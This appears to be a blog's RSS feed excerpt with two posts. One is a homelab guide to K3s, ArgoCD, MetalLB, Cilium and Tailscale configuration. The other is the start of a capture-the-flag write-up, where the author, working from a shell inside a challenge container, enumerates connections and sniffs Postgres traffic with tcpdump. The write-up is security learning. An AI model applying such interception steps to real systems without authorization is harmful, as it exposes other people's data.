&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">├── metallb
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └── config.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">├── vaultwarden
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ ├── Chart.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ ├── templates
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── deployment.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── _helpers.tpl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── ingress.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── NOTES.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── pvc.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── pv.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ ├── service.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ └── tests
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ │ └── test-connection.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">│ └── values.yaml
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">└── ytdlp-webui
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> └── ytdlp-webui.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The cool part? Most of my apps were Helm charts from public repos. That meant I didn’t have to manually create tons of directories; almost everything was handled through the root values.yaml in my main app. Super tidy and easy to manage!&lt;/p>
&lt;p>Here&amp;rsquo;s what the &lt;code>applications.yaml&lt;/code> looked like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">{{- &lt;span class="l">range .Values.applications }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>{{- &lt;span class="l">$config := $.Values.config -}}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">argoproj.io/v1alpha1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Application&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">.name | quote }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">argocd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">destination&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">.namespace | default .name | quote }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">server&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">$config.spec.destination.server | quote }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">project&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">default&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">source&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">chart&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">.chart }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">path&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">.path | quote }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">repoURL&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">.repoURL }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">targetRevision&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">.targetRevision }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>{{- &lt;span class="l">with .tool }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>{{- &lt;span class="l">. | toYaml | nindent 4 }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>{{- &lt;span class="l">end }}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">syncPolicy&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">syncOptions&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">CreateNamespace=true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">automated&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">prune&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">selfHeal&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>{{&lt;span class="w"> &lt;/span>&lt;span class="l">end -}}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>and here&amp;rsquo;s a snippet of the &lt;code>values.yaml&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">config&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">destination&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">server&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">https://kubernetes.default.svc&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">source&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">targetRevision&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">master&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">applications&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">repoURL&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">https://metallb.github.io/metallb&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">chart&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb-system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">targetRevision&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">0.15.2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">tool&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">helm&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">releaseName&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">cert-manager&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="l">..SNIP..]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I connected my Git repo in ArgoCD, spun up the root app, enabled auto-sync, and then just sat back as the apps rolled themselves out. Watching everything come to life automatically was immensely satisfying.&lt;/p>
&lt;h3 id="ingress--load-balancing-magic">Ingress &amp;amp; Load Balancing Magic&lt;/h3>
&lt;p>Without a cloud provider, Kubernetes marks &lt;code>Service.status.loadBalancer.ingress&lt;/code> with every node IP (messy).&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/moving-to-k3s/01-ingress-messy.png" alt="">&lt;/p>
&lt;p>This is normal on bare-metal Kubernetes: with no cloud load balancer, the service reports every node as a potential entry point. But it confused my DNS automation (ExternalDNS+Pihole). I needed something better.&lt;/p>
&lt;p>Enter &lt;strong>MetalLB&lt;/strong>. Following &lt;a href="https://metallb.io/installation/">the guide&lt;/a>, I configured Layer-2 mode (&lt;a href="https://metallb.io/configuration/#layer-2-configuration">docs&lt;/a>). Suddenly, Services of type &lt;code>LoadBalancer&lt;/code> got a &lt;strong>single, clean IP&lt;/strong>. Goodbye multi-IP chaos!&lt;/p>
&lt;p>&lt;strong>Edit:&lt;/strong> A few days after sharing this blog, a Linkedin user pointed out that I could use Cilium instead of MetalLB as the load balancer. Turns out &lt;a href="https://isovalent.com/blog/post/migrating-from-metallb-to-cilium/">MetalLB was used by Cilium in it&amp;rsquo;s own CI/CD pipelines&lt;/a> before they decided to have less dependencies on other components and rolled out their own native Loadbalancer IPAM solution within Cilium in v1.13. Hence, I was able to replace it with the following IP pool:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;cilium.io/v2&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">CiliumLoadBalancerIPPool&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;pool&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">blocks&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="nt">cidr&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;100.x.x.y/32&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="tailnet-integration">Tailnet Integration&lt;/h3>
&lt;p>Since I access the services over Tailscale, I installed the &lt;a href="https://tailscale.com/kb/1236/kubernetes-operator#setup">Tailscale operator&lt;/a> to bring the cluster onto my Tailnet. After that, it was mostly housekeeping:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tailscale.com/kb/1440/kubernetes-operator-cloud-services">Expose&lt;/a> the two critical services on my Tailnet: DNS and the load balancer&lt;/li>
&lt;li>Configure split-DNS for my domain and point the tailnet’s nameservers to Pi-hole, so tailnet clients resolve internal services cleanly without ever touching my LAN’s resolver.&lt;/li>
&lt;li>Configure metallb to hand out its Tailscale IP to the LoadBalancer service (ingress-nginx)&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb.io/v1beta1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">IPAddressPool&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">default&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb-system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="m">100.&lt;/span>&lt;span class="l">x.x.y-100.x.x.y&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">autoAssign&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">apiVersion&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb.io/v1beta1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">kind&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">L2Advertisement&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">metadata&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">name&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">default&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">namespace&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">metallb-system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">spec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ipAddressPools&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">default&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With everything in place, I synced all the applications, and that was it. The cluster services I needed were instantly reachable from any client in my tailnet.&lt;/p>
&lt;h3 id="wrapping-it-up">Wrapping It Up&lt;/h3>
&lt;p>Going from single-node kubeadm to multi-node K3s has been an absolute blast. My homelab finally feels alive, and pushing updates is so much easier now with GitOps keeping everything in sync automatically. MetalLB plus Tailscale makes the cluster accessible without ugly reverse proxies, and Cilium lets me tinker with the wild powers of eBPF!&lt;/p></description></item><item><title>Contain Me If You Can - The Ultimate Cloud Security Championship</title><link>https://zerodaywolf.sh/writeups/tucsc-ch02-contain-me-if-you-can/</link><pubDate>Fri, 01 Aug 2025 12:20:00 +0530</pubDate><description>&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tuscs-contain-me-if-you-can/1.png" alt="">&lt;/p>
&lt;p>We have a shell inside a container. We check the established connections:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">root@container:~# netstat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Active Internet connections &lt;span class="o">(&lt;/span>w/o servers&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Proto Recv-Q Send-Q Local Address Foreign Address State
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcp &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span> c04d7498020d:47748 postgres_db.:postgresql ESTABLISHED
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcp &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span> c04d7498020d:54216 postgres_db.:postgresql ESTABLISHED
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Active UNIX domain sockets &lt;span class="o">(&lt;/span>w/o servers&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Proto RefCnt Flags Type State I-Node Path
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There’s one to a host &lt;code>postgres_db&lt;/code> , which (based on the output of &lt;code>arp -a&lt;/code>) is another container:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-jsx" data-lang="jsx">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">root&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="nx">container&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="err">/# arp -a&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">postgres_db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">user_db_network&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">172.19.0.2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nx">at&lt;/span> &lt;span class="mi">02&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">42&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="nx">ac&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">13&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">02&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">ether&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="nx">on&lt;/span> &lt;span class="nx">eth0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There must be some application that’s running which created this connection. Let’s check the processes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">root@container:~# ps aux
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root &lt;span class="m">1&lt;/span> 0.0 0.0 &lt;span class="m">2696&lt;/span> &lt;span class="m">992&lt;/span> ? Ss 03:01 0:00 sleep infinity
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root &lt;span class="m">6&lt;/span> 0.0 0.3 &lt;span class="m">4588&lt;/span> &lt;span class="m">3988&lt;/span> pts/0 Ss 03:01 0:00 bash
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root &lt;span class="m">902&lt;/span> 0.0 0.3 &lt;span class="m">7888&lt;/span> &lt;span class="m">3980&lt;/span> pts/0 R+ 04:52 0:00 ps aux
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nothing? It’s probably being run in a different process namespace (i.e. a different container or the host).&lt;/p>
&lt;p>Let’s see if there’s any traffic on this connection:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-jsx" data-lang="jsx">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">root&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="nx">container&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="err">/# tcpdump -A port 5432&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">07&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">42&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mf">13.737304&lt;/span> &lt;span class="nx">IP&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="nx">a97544bda27&lt;/span>&lt;span class="mf">.39682&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="nx">postgres_db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">user_db_network&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">postgresql&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">Flags&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">P&lt;/span>&lt;span class="p">.],&lt;/span> &lt;span class="nx">seq&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">ack&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">win&lt;/span> &lt;span class="mi">501&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">options&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">nop&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">nop&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">TS&lt;/span> &lt;span class="nx">val&lt;/span> &lt;span class="mi">1427675159&lt;/span> &lt;span class="nx">ecr&lt;/span> &lt;span class="mi">1317731888&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="nx">length&lt;/span> &lt;span class="mi">19&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">E&lt;/span>&lt;span class="p">..&lt;/span>&lt;span class="nx">G&lt;/span>&lt;span class="p">..&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="p">...............&lt;/span>&lt;span class="mf">.8&lt;/span>&lt;span class="p">....&lt;/span>&lt;span class="nx">Bp8&lt;/span>&lt;span class="o">?&lt;/span>&lt;span class="p">....&lt;/span>&lt;span class="nx">Xe&lt;/span>&lt;span class="p">.....&lt;/span>
